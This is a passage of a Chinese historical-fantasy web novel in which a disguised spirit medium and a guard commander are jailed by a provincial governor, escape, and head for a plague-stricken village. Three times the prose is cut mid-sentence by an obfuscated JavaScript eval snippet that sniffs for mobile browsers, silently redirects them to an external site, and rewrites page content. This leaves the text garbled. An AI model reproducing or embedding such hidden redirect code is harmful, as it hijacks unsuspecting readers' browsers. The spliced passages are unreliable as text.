处于两道视线中心的人影似乎毫无察觉,依旧一脸愁苦地似在找东西,四处望。 迷茫就是最好的下手时机,分开的两人对望一眼当即发动脚步,疾速以一个包夹之势相冲而来。 步风传来,人影总算察觉到了杀意,忽然又哭又笑起来。 翼火和鬼金也终于听清那人嘴里的话。 “翼火,鬼金……是我呀……我是星日呀。刚刚路上被那太守弄死了,还以为要误事……” * 此地隶属武昌郡,夏口县附近。武昌虽是桓错叔祖父桓仪十多年前在流民帅手里打下来的,可是桓氏人口太少,无人可使,便由王家来安排人就任武昌郡太守。 桓错思虑着地势和人脉,大概记得多年前派去的人是王洵乐的某个族父,到如今应该也是第二代太守了,那么就是洵乐的族兄族弟……兄弟几个、名字为何、可否到过山阴相见,一应不相知也不记得……啧,都怪这荆楚蛮夷之地太过偏僻,他完全不认识人。 这附近虽村庄密集,但夜宿的传舍前不着村后不着店,处于官道之上、夏口县数个村落之间。人往哪个方向走都有可能。 不作多想,桓错分派羽林郎们四散去找人,他自己则去官衙,找县令。一进那县府,却一派冷清,连个值守的人都找不到。便去问最近的人家,连走好几处房屋,皆门窗紧闭无人应门,最后一处,走出来一个怯生生的年轻小子,恭恭敬敬只道:“近日王太守为擒拿流寇,夙夜在公,巡于此地。至于陆县令,躬身于洪涝的灾后重建,已住在村里多日。” 夏口不是武昌的郡治,可太守却出现在了这里。 桓错追问他太守的为人品性和此时位置,还有擒拿流寇是多大的阵仗,如何能联系。小子只低头摇头,只言不知,便匆匆闭了门,赶客了。 坏了。 他一个最有用的人跑向了最没用的方向。 二话不说,率马又朝官道上走去。笔直一条道路上跑了不知多久,桓错越思索越心惊,停下马来,觉得该仔仔细细复盘和祝弥分开之后的时间差。可又心乱如麻,脑内乱作一团,一时间竟回想不起自己究竟泡浴了多久,是否有睡着。 马厩里马匹未少,想必她是步行,不会走得多远,可各个方向都有人寻去,这么久了也不见空中有射火箭的信号。虽然黑夜视物不清,但还是能判断出这城外一片荒无人烟,空气中一直隐隐有水草腥臭,不知道发生了什么,灾情?能有多严重? 在人人都有事做忙得不见踪影的时候,他桓错,竟然在原地打转,不知道该怎么办了。 糟了,糟了糟了糟了,糟了。 怎么还有恶寒袭来—— 正当他扶额愣怔,努力平息自己身体异样的时候,某处林间方向“咻”地一声,下一秒,夜空中高高划亮一道火光。 是信号。 找到人了。 桓错的心松下来。 “咻咻咻——” 同一个方向,一瞬间箭声无数,又下一秒,数十道火光照亮了半天天空。 “啧。” 桓错沉下脸,腰身挺直,一手甩缰绳,另一手抚上腰后的刀,马蹄声哒哒响起。 30. 戾气横村太守愁 ——要是能把那衣襟交领拉开就好了。 这是祝弥一睁眼,控制不住脑海里出现的第一个念头。 眼前的景象实在出乎意料。 ? 眨了一下眼,重新掌控住思绪,开始收集视野里的细节: 随着呼吸而起伏的胸膛,交领没盖住的地方是漂亮有致的锁骨。往上看,一段俊秀的脖颈牵引拉长出远望的深思之意,颈侧的肌肤撑出轻薄的冷白,青筋中隐约看见脉搏跳动,像琴弦弄音一样紧绷地弹出风情和灼热。而喉结是月下的沙丘,是这段曲线里最意犹未尽的拐点。 目之所及之处,全是这样那样的他的部分场景,只是怎么一副冷淡的疏离之意,跟初识阴晴公子时似的。 他在颦眉。 可祝弥不想探究男菩萨矜贵的心思,以及他拒人千里的内里,只是觉得露肤度还不够,这不够敬业,于是她决定还是这么想—— 要是能把那交领一把全部拉开,就好了。 就像掀开珠帘,耳边会有珠玉轻撞的叮当之声,撕掉果皮,指尖惹上甜蜜黏稠的新鲜汁水。 会有沟壑吗?是劲瘦的吗?硬实吗?还是会……泛粉?让人忍不住闭上眼睛,舔舔嘴唇。 ——他适合被细看,衣下应当有更多的漂亮风光。 ——非常、非常适合……等等,所以这是在哪? 此刻,她刚醒,满眼的怪角度桓错,而一切空间感尽失。 上下颠倒,左右相反,是白天是黑夜也分不清,空气里沉闷湿热的气味让呼吸变得有点费力,幸好还有几缕他身上的冷香混杂其中,骗人甘之如饴。 稳了稳心神,再去收集一遍有效信息——他利落的下颌,他流畅的侧颜,他闪了一下的长长睫毛,他在看什么,在想什么……这些好奇对于分辨当下状况是一点用都没有,就是可惜仰视的角度还是太小,只见骨感的鼻梁而不见鼻尖上的红痣。 那颗点活了整张俊美面庞的红痣。 ——想看。那颗痣。 她被精致如画的漂亮男人连带着一份心绪氛围骗走了心神,只顾愣愣盯着。 忽然,一个眨眼之间,那颗红痣悄然出现了,像是感受到了她的目光还是心愿,有一位忠实躬谦的使臣朝见上贡,拨开层层的柔软丝绸,把当下最鲜甜多汁的一颗苹果,双手捧到她面前。 这人终于朝她看了过来,低头,一张完整的脸,偏偏红痣离她最近。 冷不丁的一场对视。 祝弥:“……” ——还能闭上眼睛装睡吗?是不是太晚了…… 桓错那张面无表情的冷脸对于她的醒来,只给了一点点抬眉的诧异:“?” 可苹果掉下来,不偏不斜砸中她。 吓得祝弥还是选择了从他的腿上弹开,虽然慢了半拍,但飞速又僵硬坐起身,总算问出一些关键又理智的问题。 “啊啊——我怎么会在这里!这里是哪里?!” 而桓错:“……” 他姿势没变,在地上坐得随性,一腿平放被当枕头,一膝屈起,手肘支膝,手背懒懒地托着下颌。看向她的转头好似开天恩般的纡尊降贵,眼神中已是万分嫌弃和勉强,自然是没有回答,嘴唇也不肯多动一动。 祝弥:“……” 想出口一句“又怎么了阴晴公子”,却被浑身上下的酸痛给制裁了,一阵龇牙咧嘴,捂着脖子按着腰差点又倒在地上。腰后一倒,就靠在了一块实一块虚的……栅栏上? ——讲真的,这到底是什么的地方。空间这么小? “你受伤了?”眼神终究不能传递信息,他张口了,没好气的口吻。 “……没有。” “……”对方似乎不信,轻哼了一声,又看向别处。 “真没有。”她又强调一遍。 又被附体了,她从两种叠加的复合酸痛感里知道了。 以及,第二重不适是生理期到了。 唉…… 难怪醒来看见他那一张早就见怪不怪的脸,难得地那么多想入非非……都怪周期性的荷尔蒙波动,完全不是她的错。 又回头看了一眼背后所谓的栅栏,四四方方一个小房间,三面墙,一面栏。 好了,是牢房。 服了。 抬脚轻踹他一下,“别不说话,我们怎么在这呀?” 而且怎么一副生气的模样?这地点也太不妙了吧,此刻是该生气的时候么…… 桓错还是脸色很不好,斜睨她一眼,又示意前方。祝弥跟着去看,才发现昏暗的牢房里还有第三个人,是个倒地侧趴的背影,一直在另一角,一动不动。 “这是?”粗布衣凌乱,露出来的手臂倒是健壮,看轮廓应该是个男人。从衣服上她辨认不出来是谁,凑近去看,却闻到一股浓厚的铁锈味。 那人身下的草垫子全是血,原来魂早没了。死了。 “啊?”吓得她连忙往他身边躲。结合一睁眼就是牢狱场景,祝弥有些崩溃,“不会是我杀的吧?” 望向桓错,对上他一副“谁犯事了谁心里清楚”、又无语又臭的脸,祝弥顷刻明了,嘴巴一瘪,控制不住地又抽又抖,拽着他的手臂摇两下,险些真心实意地哭了出来:“你可得救我,呜呜。” “你知道的,扶乩之后我没有记忆。” “扶乩杀人也要算在我头上吗,冤死我了呜呜呜呜。” “我交代在这了你母亲怎么办?母亲的亡愿可是大事,不能出了差错!” 而对方目光在她脸上停留许久,终于喉结动动,有话要说, “你真的没受伤?” 祝弥急坏了,连忙撸起袖子翻转手臂地展示自己,“真没有!到底要问几遍?!” “这扶乩的关窍到底是什么?之后再乱走,我真拿绳子捆住你了。”他居然是苦恼的语气。 “可能可能可能我又烧到头发了吧!”祝弥胡乱找个借口,“然后睡得早了些,醒来就这样了。呜呜,变成杀人犯了,我这辈子算是完了。” 也不知道要说成什么样子他才会安心。 “呵呵。”对方凉凉道,还隐约翻了个白眼,“人怎么会是梦成杀的呢。” “那可是你的好同伙。” * 先前信号箭升起,桓错立即率马赶去。还未需要第二次确认方位,就已然看见远处有一大片火把的火光,是一群骑马的人,围在一起,中间似有事情。 一边接近一边观察情况,听见自己的人在其中大喊道:“这是我们的人,还请……呃,阁下还人。” 一个尖细蛮横的女声道:“凭什么一句‘你们的人’我们就要放人,你们是谁呀?这是我们太守排兵布阵筹谋数日,终于抓到的贼寇!” 而最中间传来桓错找了半天的熟悉的声音,只是撕心裂肺:“翼火、翼火!啊!!!王兰清,我和你拼了!!!!” 羽林郎们捂脸不忍直视,眼睁睁看着两手空空扑过去的祝弥被对方的人轻松制服,然后就晕倒,或者是睡着。由此中间为首的那两个骑着马的女郎下巴抬得更高了,趾高气昂的神色愈加。 这还如何能解释。 听见桓错的马蹄声接近,人群让开一个口子,有人挺起胸膛神气十足地介绍:“哼,我们中郎将来了。” 然后中郎将带领自己的数十位羽林郎,被一锅端了。中郎将本人连人带马带死人,束手就擒进大牢。 ——“你怎么不反抗!” 听他说完,祝弥直接就是一个瞠目结舌,不可置信地摇他手臂,“你不是很厉害、十八般武艺样样精通吗?!打不过吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17256164|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>桓错又给她一个白眼。 他是拔刀了,可下一刻别人把刀架在那狂怒喊完就昏迷的人的脖子上,他就又放下了,一点办法都没有。 恼火。 他也没想到这武昌太守怎么是一个无法无天的混世女郎。任凭他亮出自己身份,搬出王家的各种人,连琅琊王氏门面、王洵乐的大名小名和生平轶事都交代出去了,对方也只是微微神色一变,依旧半信半疑,只道是:流寇还漏了一个,天色已晚难以查证还是有请你们将就一晚,睡大牢去吧。 祝弥:“……” 桓错:“……” 二人对视,带着各自的怨意。 “彦庭和大师呢,怎么不来找我们?”她问。 “联系不上,可能死村子里了。” “你没得罪那太守吧?她会不会二话不说先下手为强把我们杀了?” 桓错看她一眼,还是很无语,递给祝弥的眼神是:或许只会把你杀了。 不然他为什么要跟着进来。 牢狱、阶下之囚、与死人共眠……天,史无前例的糟糕经历,传出去他桓家大郎君的名声也不要算了。可等到她安全地醒来,精气神还很好,他就又能重新整理情绪,应对当下状况了。 沉息几下,压下性子,像是安慰她:“死不了的。” “那王兰清只要认了自己是太守,家里还有点活人,自己也有点理智,行事再张狂,也不敢真的对我们这支皇后亲封的羽林军怎么样。” 祝弥:“为何?” 桓错继续解释,如今的世道,太守、刺史、州牧一类的职位品阶不算太高,但在一方郡县内是说一不二,统管一切,兵权税收、官员任事……可以说是天高皇帝远,自己就是土皇帝。而太守在其位统筹上下,需要多年经营,甚至是几代人的心力来组建。一套制度体系人马算下来,几乎算是世袭的家产。这就是为什么东汉末年皇权旁落,出现了十八路诸侯野心勃勃地逐鹿中原,最后还煞有介事地弄了个三国出来。 我朝制度延续前朝,这些太守就还是名副其实的异性诸侯。 祝弥听了半天没听懂,“所以呢?” “所以她知道我姓桓,这一行也有公事在身,若还是真要对我这五品中郎将怎么样——”桓错呵呵一笑,“十八个人同时出现,叫逐鹿中原;若只有一个,这个叫——造反。” “那她家经营多年的武昌祖业也该换人了。” 祝弥不爽,踢了踢脚下的干草破布:“那她怎么不好吃好喝地请我们羽林军中郎将下塌?” 中郎将微微一笑:“谁让我们的好梦成,死死拽着不知从哪捡来的破烂好兄弟,还哭着喊着什么报仇什么杀了人家太守。” 祝弥捂脸,憋了半天干巴巴一句抱歉。 被动扶乩真是太能惹事了,那这每月必有几天的事情可还怎么睡,一睡一醒人就不知所踪了。 见祝弥依旧眉头紧皱,似乎有些坐立不安,桓错又说:“别担心,能发的消息都发出去了。看看哪边比较快了。” 她叹气:“可我想现在立刻马上就出去。一秒都不想多待这臭牢房。” 他阴阳一声:“委屈祝公子了。” “饿了,祝公子想吃肉。” “别说了,我快内疚死了。”说是这么说,桓错只是眼皮半敛,神色懒懒靠着墙,一点动弹也不想做的样子。 祝弥见人仰仗不上,决定要自己努力一下,毕竟,她有个不能出口的好急。于是朝外面大喊:“来人!我要见王兰清!” 一边喊一边拍柱子。 不就是证明自己和旁边这死掉的兄弟没什么关系么?她想看看那王兰清身上可有什么鬼没有。 于是这么大吼大叫了不知道多久,终于有个小吏开了门,不满道:“别吵了,太守就来。” 31. 戾气横村太守愁 原本“女太守”三个字就让祝弥有点难以想象,等人到了自己面前,她还是有些惊讶。 是个和她差不多年岁的柔弱清秀的小女郎。 太守吗?根本是小孩偷了家里的信令胡乱上任的吧。因为这个王太守一脸娇憨的不爽,正皱眉瘪嘴地盯着她。 是以此时,身高、身形相近的二人隔着牢栅相互直勾勾地打量对方,除去服饰装扮,两人不说话的神态和眼色还以为其中一人正在认真照镜子。 “说话!” 尖细傲慢的女孩声音从王兰清背后传来,是一直跟在她身后的小侍婢,如影随形。 “呃……”王兰清身上没长鬼,祝弥哑然了,最后只弱弱憋出几个字,“……放我们出去?” 王兰清没有张口说话的意思,只是打探的神色忽然转变,一只嘴角慢慢勾起,变得轻蔑起来。这让祝弥略有疑惑。 “你们还有没有吸纳新的同伙!营地在何方!可有安插什么奸细在我们府里!如实交代!”小侍婢大声喝道。 祝弥回望了一眼身后死掉的男人,叹气:“我不认识他。” “他叫翼火,跑掉的那个叫鬼金,今日还有个叫星日的人死在我们太守手里,你的名号是哪个?可是他们口中的轸水?!如实交代!”小侍婢又问。 祝弥老老实实自我介绍,从哪处来,到哪处去,祖上的官职多高,家里几口人……最后又神神秘秘地说:“实不相瞒,我能见鬼,会扶乩,我还知道……你家最近有死人。” 她用这种鬼神话头把那个最凶巴巴的、家里有一品公的桓氏郎都训得服服帖帖的,这种地方官的小小五六品太守,多半是不再话下,不得立刻笑脸相迎谄媚相送只道是误会一场…… ……才怪! 对方完全不买账。 “住嘴吧,我们不会再吃你们这种奇技淫巧!”王兰清冷眼看着祝弥,嘴都没张,清脆的女声在她背后响起。祝弥只觉得自己在看双簧表演,这主仆二人还挺有默契。 王兰清轻蔑的神色不改,轻哼了一声,转头就走。身后的小侍婢下巴比天高,像个扩音器似地响亮一声“哼!”便跟着走了。 “喂!怎么走了!”祝弥隔着牢栅伸长了手,想抓住一点女郎走路飘起来的衣带,却还是抓了个空。 怎么这种鬼神之说不管用了,那王兰清身上明明有一点鬼魂拂过的痕迹。牢门合上之际,祝弥不死心大喊:“那你关我就算了,你关姓桓的做什么?他快气死了,小心让你们吃不了兜着走!” “是他非要跟你在一起的!不许怪我们!”小侍婢响亮的声音从门后传来。 回头看看桓错,倚墙坐着一动不动,连眼神都懒得给,权当一场对话是耳旁风。 “那王兰清是哑巴吗?”一句话不说,一直是身边的侍婢在叫板。好像这两人一起出现才是完整的一体,一个是人,一个是嘴。 桓错极小幅度地摇了一下头,摇得是万分勉强。 “不是还是不知?”她没眼力见地追问。 桓错瞪她一眼:“不知。” ——“王兰清!你给我下来!那你至少把这个死人弄出去吧!我一眼都不想见到他!”祝弥转头抓着牢栅继续哀嚎,朝空气展示和一个死人割席绝交的决心。 桓错:“……” 看着醒了就把整个牢狱闹腾起来的人,不像受伤有事,桓错的心是安了,可实在兴致不高,懒得陪她。 之前听王兰清的嘴说,逮到“这伙人”的时候,他们三个正在抱头痛哭还是做什么的,黏黏糊糊,见官兵来,还兄弟情深地推让,什么“你先走!”、“不,你先走!” 最后他们或许是重情护着祝弥,又或许是贪心想拐走祝弥,逃也逃得不利索。最力壮的那个站在最前面,中了几箭失血过多,死了,另一个人见势不对直接跳进水里逃了。留下她一个正被附体的,笨手笨脚还敢上去和人拼命。 要不是他的人听到动静很大赶来及时,谁能知道不按套路出牌的王兰清会对她做出什么事。 桓错叹了口气。 王兰清的嘴还说了,这伙流民性质恶劣,流窜生事,还嚷嚷着什么“天倾西北,地陷东南”的口号,弄得仿佛天灾将至,人心惶惶。抓到的人都存了死志似的,刚烈非常,一碰就死。 而且吸纳同伴的手段下作得很:目前时疫盛行,他们走遍各个村落,用符水坑蒙拐骗。治得好的就是天命所在,当干大事。治不好的,也没嘴来辩解了。 今夜沿着线索追寻千里,收网的时刻,总算抓到个活的。还没来得及开心,半路杀出来个谯郡桓氏。 桓错搬出各种身份,对方却不情不愿,白眼都快翻上天了,实在不愿意放过祝弥,最后自暴自弃一般地话头一变:谁知道你是不是真的姓桓,这流民起义说不定幕后主使就是你们桓氏! 便不听他解释,仗着人多势众,强行带走祝弥了。他没办法,只好“自愿”跟着来了。 可他烦的也不止是这事。 “砰!砰!砰!” 眼前人制造噪音的动静已经从手拍栏杆变成了用脚踹。抬脚狠踹站不稳导致整个人摇摇晃晃,散开的长发一飘一荡好似风拂柳。 说起来,睡觉是会解开头发的。 还有,兰亭上第一次见她,她酒后的无心之举还博得了个“投簪公子”的美名。 她有一根很好看的白玉簪。 去哪了? 祝弥骂骂咧咧抬脚准备踹下一脚的时候,头发被扯了一下。 “嗯?” 桓错像个影子站在她身后,手上挂她的一缕头发,“最近怎么不见你戴簪?” “哦,我收起来了。” 一路上见到的人一个比一个地穷苦,都是紧巴巴地过日子,她也不好意思穿金戴玉的。 “你家里人没对那个玉簪说什么吗?” “有啊,说是祖传的,千叮万嘱别摔了。所以我收得很好。” 大概放在箱子的盒子的盒子的盒子里,有鹅兄日日替她看守,放心得很。 “…………”桓错还是实实在在地哽住了,“你可知佩玉的涵义?” 祝弥想点头,但看对方的语气意思,还是摇了摇头。 他叹气:“既是祖传的,那就说明这是你的平安玉。君子无故,玉不去身。” 那她的平安玉和她本人大去特去,祝弥:“……” 桓错:“……” 玉乃山石吸收日月精华而孕育,能感通天地,亦通神灵。先民祭祀上天与祖先,所用之礼玉六器,璧、琮、圭、璋、璜、琥,无一不是精雕细琢的玉石。如今长辈给孩子佩玉,有两种寓意:一是以玉譬德,望她知行合一,约束自我;二是辟邪护佑,愿她安康无虞,长命百岁。 二人相对无语好一阵子,最终桓错说:“走吧,回去戴玉。” 说着袖口里抽出一根银针,对着牢狱的锁孔轻巧捅了两下,“咔哒”一声,祝弥瞪着眼睛跟在他身后走了出来。 信手敲晕了看门的狱卒,才出牢狱大门,二人就看见王兰清和她的嘴正在往这边走。祝弥本能地想躲,腰才猫下去,桓错却长腿一迈,坦坦荡荡,加快步伐往人来的方向走去。她只好跟上,反正有他挡着。 走近后,两边阵仗都神色不善,王兰清的嘴正欲叫嚣,从她们身后闯出来一个弓着腰的身影,急忙介入:“哎哟,您两位真是大水冲了龙王庙了。这祝郎君也确实不是什么可疑人士,一路从山阴到江夏的文书过所都清清楚楚,还有皇后的亲笔书信。太守,抓错人了呀。” 这是今夜他们下榻的传舍舍吏,急匆匆前来救火了。 桓错冷笑一声,“那可晚了,我手下人一着急,往外送的消息是慌不择路又四面八方,武昌、襄阳、成都、会稽、建康,哪都送了,就怕我死了。”说完,撂下一句“呵呵”便错开为首的王兰清,继续往外走。 祝弥经过的时候朝王兰清和她的嘴眨了一下眼,“你能奈我何”的欠揍的那种。 王兰清的嘴朝二人背影“你!”了一声就再也说不出来话。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17273716|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回去后祝弥找了借口让桓错去帮忙找压箱底的宝贝玉簪,自己则速速去了浴房清理换衣。 回房间时已经是干干爽爽、神清气爽,见他已经坐在桌前,把玩着她的玉簪和自己的玉佩。 “你怕水倒是如何沐浴的?”他头也不回,随意地问。 “只是死也不会汤浴而已。” 她不喜欢被水覆没的感觉,因为身体会立刻预想到窒息和失控感。 实在糟糕的感觉。 坐下来,抢过他手里的东西,也对比着打量起来。 桓错路上有说自己的猜测,她这个乩童有两种通灵情况,一是附体扶乩,二是做人鬼沟通的桥梁。附体扶乩的次数不多,满打满算也就两次。第一次是以玉佩为媒介让他和母亲对话,第二次是跳傩戴面具时不小心惹上的野鬼。 而出了山阴一路走到这,受了伤之后才开始频繁被附体。他回忆起来,跳傩戴面具不束发,和母亲对话前,她的发簪在无意中也掉了。 “诶——”祝弥还是第一次细看这玉佩,翻转着看来看去,忽然眉毛一挑,似是发现了什么,“你这个有缺口的玉佩叫什么?” “玦。” “上面的纹路……你不觉得很熟悉吗?” 他摇摇头。 “这是我们书院制服上的暗纹样式呀!” 桓错也有些诧异,“是么。” 他从未留心过服饰纹样。 “也是,人名人脸的你也不放在心上,别说衣裳图案了。”她凉凉道。 桓错仔细回想一下还真是。 玉玦上四组卷草纹回环相勾,你中有我我中有你。忍冬书院制服最外面的那件纱衣似乎也是回环状的相勾细纹。 可装饰物纹样无非就那几种,桓错倒不以为意,淡淡道:“母亲给我的玉玦,想必是她挑选的时兴样式吧——好了,时候不早了,睡觉吧。” 说着掀开被子躺到了唯一的床榻上。 “?” 祝弥瞪眼:“这好像是我的房间我的床?” “做个测试,看看你枕玉而眠安全不安全。”桓错也知道她爱说什么洁癖什么隐私感,可事情非同小可,不能再让她梦游般地乱走了。“就一晚。忍忍。” 眼睛闭上。 “……” 给人惹了这么大麻烦,祝弥也不敢再多说什么。 反正不是第一次了。 反正她是个男的。 黑暗里睁着眼,知道他也没睡,便闲聊起来:“彦庭和大师住在村子里了?” 他呼吸很轻:“明日去看他们。他们今日来人寻我们没寻到,那边似乎也有事。” “我今晚的‘同伙’,也说了什么和梁川生书案上一样的话?” 她记得是什么共工撞断天柱导致天塌地陷、星转月移、江河倒流的神话故事。 “是有点蹊跷,已经写了信给洵乐去查。” “哦……”祝弥骤然察觉,羽林军中郎将真的承担并默默做了很多事情,相形见绌的愧疚之心油然而起,所以转移话题道,“你有没有觉得,王兰清怪怪的?” “嗯,快赶上你了。” “……对不起,一晚上给你惹了很多事。” “不敢,中郎将活该的。” “……” 祝弥心道:这人果然一直心情很不好。 适逢潮湿的夏夜,窗外的虫鸣蛙叫不绝于耳,远处还有微弱的犬吠。不知过了多久,祝弥翻了几个身,终是睡不着。 最后像是撑不住受不了了,双手按着发胀发酸的眼睛,认输一般对着黑暗说:“你怎么还不睡?!” 桓错无语:“你不睡我怎么睡?” 睡着了人再没了怎么办。 祝弥喉咙一哽:“也是!” 可恶。总不能呛他说:他不睡她怎么睡,吧? 她便不管了,心一横,呼吸一放缓,须臾片刻便困得失去了意识。 听得身边的呼吸声变得绵长均匀,桓错的目光才从窗外回来。 32. 戾气横村太守愁 “你说什么,他们在的是疫村?” 一夜无事发生,祝弥甚至睡了个好觉。第二日二人起了个大早,便要传舍的舍吏领路去寂照和庾彦庭待了一天一夜的村落。 结果舍吏闻言色变,慌张拒绝,只道是现下有时疫,而他上有老下有小,求放过。便拿出纸笔细细画了地图指路。 “是啊,那是眼下县里疫病最严重的村子了,早就围起来了。原本县里只是流行风寒或腹泻,吃了县令的药多半能好。可人们都说那个村啊,是真的在死人,死的都还是幼童!”舍吏抱出一摞的防疫用具,藿香、艾草、香包和一些聊胜于无的防护面罩衣物,“你们若真是铁了心进去,戴好防护。而且,别再回来了。” “……为何会有疫病?”祝弥一边接过一边继续问。 “最近这段时日,大大小小、轻轻重重的疫村轮替出现。这个村好了,那个村又起,犹如滔滔江水止不住、斩不绝啊。啊,就是下了雨以来才出现的疫病。” “对了,”忽然舍吏又凑近,低声道:“路上,特别是夜里,见着一些脚步虚浮走路摇摇晃晃的人影,千万不要靠近,都说那是没有入土为安的亡魂,小心索命!” 祝弥尬笑两声,“知道了。” 一行人手脚利落地穿戴好了舍吏给的东西。 路上确实碰见行人了,行人见他们这副遮得严严实实的行头,一看就知道要去哪,眼神都不敢多给,要么果断掉头、要么斜斜地让路让到田坎边上。 这让祝弥总觉得自己是在往死路奔赴,抬眼看了看身旁的桓错神色淡淡,忍不住开玩笑道:“你怎么不说‘不管他们了、我们先行一步’的那种话了?” 昨夜她睡得安稳,也不知是不是玉的缘故,还是她确实没受伤。桓错瞥她一眼,不知为何有些烦躁,没接她话茬,“你确定要跟着去吗?” 传染了可怎么办?他没说完后半句话。 “嗯嗯。疫病有迹可循,有药可用,哪有那些没礼貌的鬼可怕。”她抬手调整了一下头上的玉簪,语气倒是风凉,“不然你不在我身边,我又当杀人犯了怎么办?” 桓错眼下略有乌青,瞪她一眼。 到了疫村。远远看见村口前守着几个官兵,还横了条木栅栏,是禁止通行的意思。越过栅栏望进去,里面屋舍俨然,虽有炊烟升起却充斥着说不清的萧条之意。 或许是村口大树下,正从一间单屋走出来的那人,朝他们望过来的脸色很萧条吧。 那是庾彦庭。 颇有士别三日当刮目相看的意味,一反常态一副洗手做羹汤的围裙良夫模样,端着一盆水倒在了村口的牌坊下,便扶着栅栏冲马上的来人大笑大嚷,萧条之意顷刻消散:“穿成那样是要笑死我吗!快脱了!” 祝弥也笑着冲他大喊:“你穿成那样才是要笑死我!” 众人来到后,听庾彦庭交代了一下情况。 这个村其实最初疫症也就和其他村里流行的一样,风寒低热咳嗽,吃了药,或者猛灌一碗热粥吃得饱饱的,睡上一觉也差不多好了。死人也会有,一个两个,都是全无照料、不把病体当回事的孤苦浮浪人。 可前几日开始,村里开始接二连三地有人病情加重,什么神仙妙药都救不回来,从突发急热到最后吐出一口血撒手人寰,最短的一个时辰,最长的不超过一夜。 而且,死者无一例外,全是不超过十岁的幼童。 说是疫情,倒像是被诅咒、闹鬼了! “而且……疫村的风声多半就是被你们这样的装扮给传出去的吧。”庾彦庭瞥了一眼正在脱防护外罩的众人,又说:“昨日就想叫你们来看!皓云跑了一趟发现整个传舍空空如也!干什么去了!” “……这是?”桓错没理他,正对着庾彦庭刚刚走出来的那间屋子看愣了神。 原来那是一间小小庙宇,里面正中间供奉着个两人高的木胎泥塑的三首六臂佛:主面为结跏趺坐的慈悲垂眸的佛陀,双掌合十,左右两面为金刚忿怒相,皆高举四手,各持法器。好不威风凛凛! 这是个信佛的村落。 “喏,没发现少了个谁吗?”庾彦庭做了个阿弥陀佛的双手合掌手势,凉凉道,“上个村子没超度下来,这一个怎么说好歹还有不少活人。一大早就和同光去人家里了。” 又看了一眼那庙中的塑像,道:“他说这是他的师父的化身,降三世明王。” 立庙落成、开光点眼那天,是寂照亲自操办的一切。 祝弥嘟囔着:“师父的师父这么吓人呢。” 桓错走进了去,找到周围他们昨夜夜宿的床铺,一边掀开被子一边问:“同光就是这儿的县令?” “对,陆同光,也是个医师……你这是?” 只见桓错已经躺好了闭上眼睛,一脸安详道:“我睡一个时辰。看好梦成,别让她离开视线。” 祝弥朝庾彦庭尴尬一笑:“嘿嘿,有人似乎一夜没睡。” 庾彦庭顷刻明了:“……你又被附身啦?” 祝弥花了两秒回忆昨晚,认真点点头:“昨夜,玩很大。” “呵呵,还是这么能闹人,辛苦我家桓郎一人应付你了。” “呵呵,你这副装扮是要给村民们下毒吗?” 挽袖围裙,一副要展示山阴庾公子从没给任何人见识过的厨艺似的。 庾彦庭继续说明这村的情况。昨天他和寂照跟着陆同光挨家挨户检查患病的幼童,走了三四个幼童病重的家,从哪家出来,哪家里面的人就一片哭嚎。 村民见寂照来了,就要寂照超度他们孩子的亡灵。 经商议,三人分工合作大概是这样的:陆同光带着药箱上门,负责宣布小儿死亡;寂照布坛念经,负责安慰死人的灵魂;庾彦庭这个道士,就搬出拿手好戏,熬一锅驱鬼符水良粥,安慰安慰活人的心情。 祝弥:“……” 有人干正事,有人干诈骗。 所以那个禁止出入的木栅栏是安慰村外人的设施,真是面面俱到。 “多喝点粥总没坏事,”庾彦庭在树下摆出桌案,开始挠头画符,“等会赈粥的时候估计会很混乱。你小心离他们远点。” 祝弥也拿着笔学符咒图样,“哦哦。” 此刻日头尚早,还未到午食赈粥时间,村口人少,但庙宇墙外不知何时立了个一个十岁左右、眼睛很圆的小女孩,焦急盖不住怯生生,朝他们问:“官人,请问陆明公和寂照师父何在?” “我家阿弟今日晨起就不对劲,刚刚,烧了。” 庾彦庭知道这是又有新的病患了,找人记录了她家位置,病患情况,便告诉她,陆同光正在别处,下一家就去她家。交代信息完女孩并不着急回去,而是沿着墙进了小庙,应该是要拜佛祈愿,可才迈了一只脚入门槛,却忽然脚步一顿,身形僵住了。 庾彦庭笑道:“里边那人无事,没死,只是睡着了。你自拜你的佛。” 祝弥补充:“不要吵到他,很凶的哦。” 女孩害怕地点点头,便进去了。 二人继续画符。 才画了两三张,就有一声还在拐角未露面的长呼响起,“——庾郎!” “陆县令他——啊,祝郎你们终于来了!”来人是皓云,随声大步流星地出现,看见了祝弥便断了话头匆匆给一个礼节的眼神,然后咽了咽口水,着急道,“——陆县令他总算被打了!连带着寂照师父也差点被打了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284566|195123||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 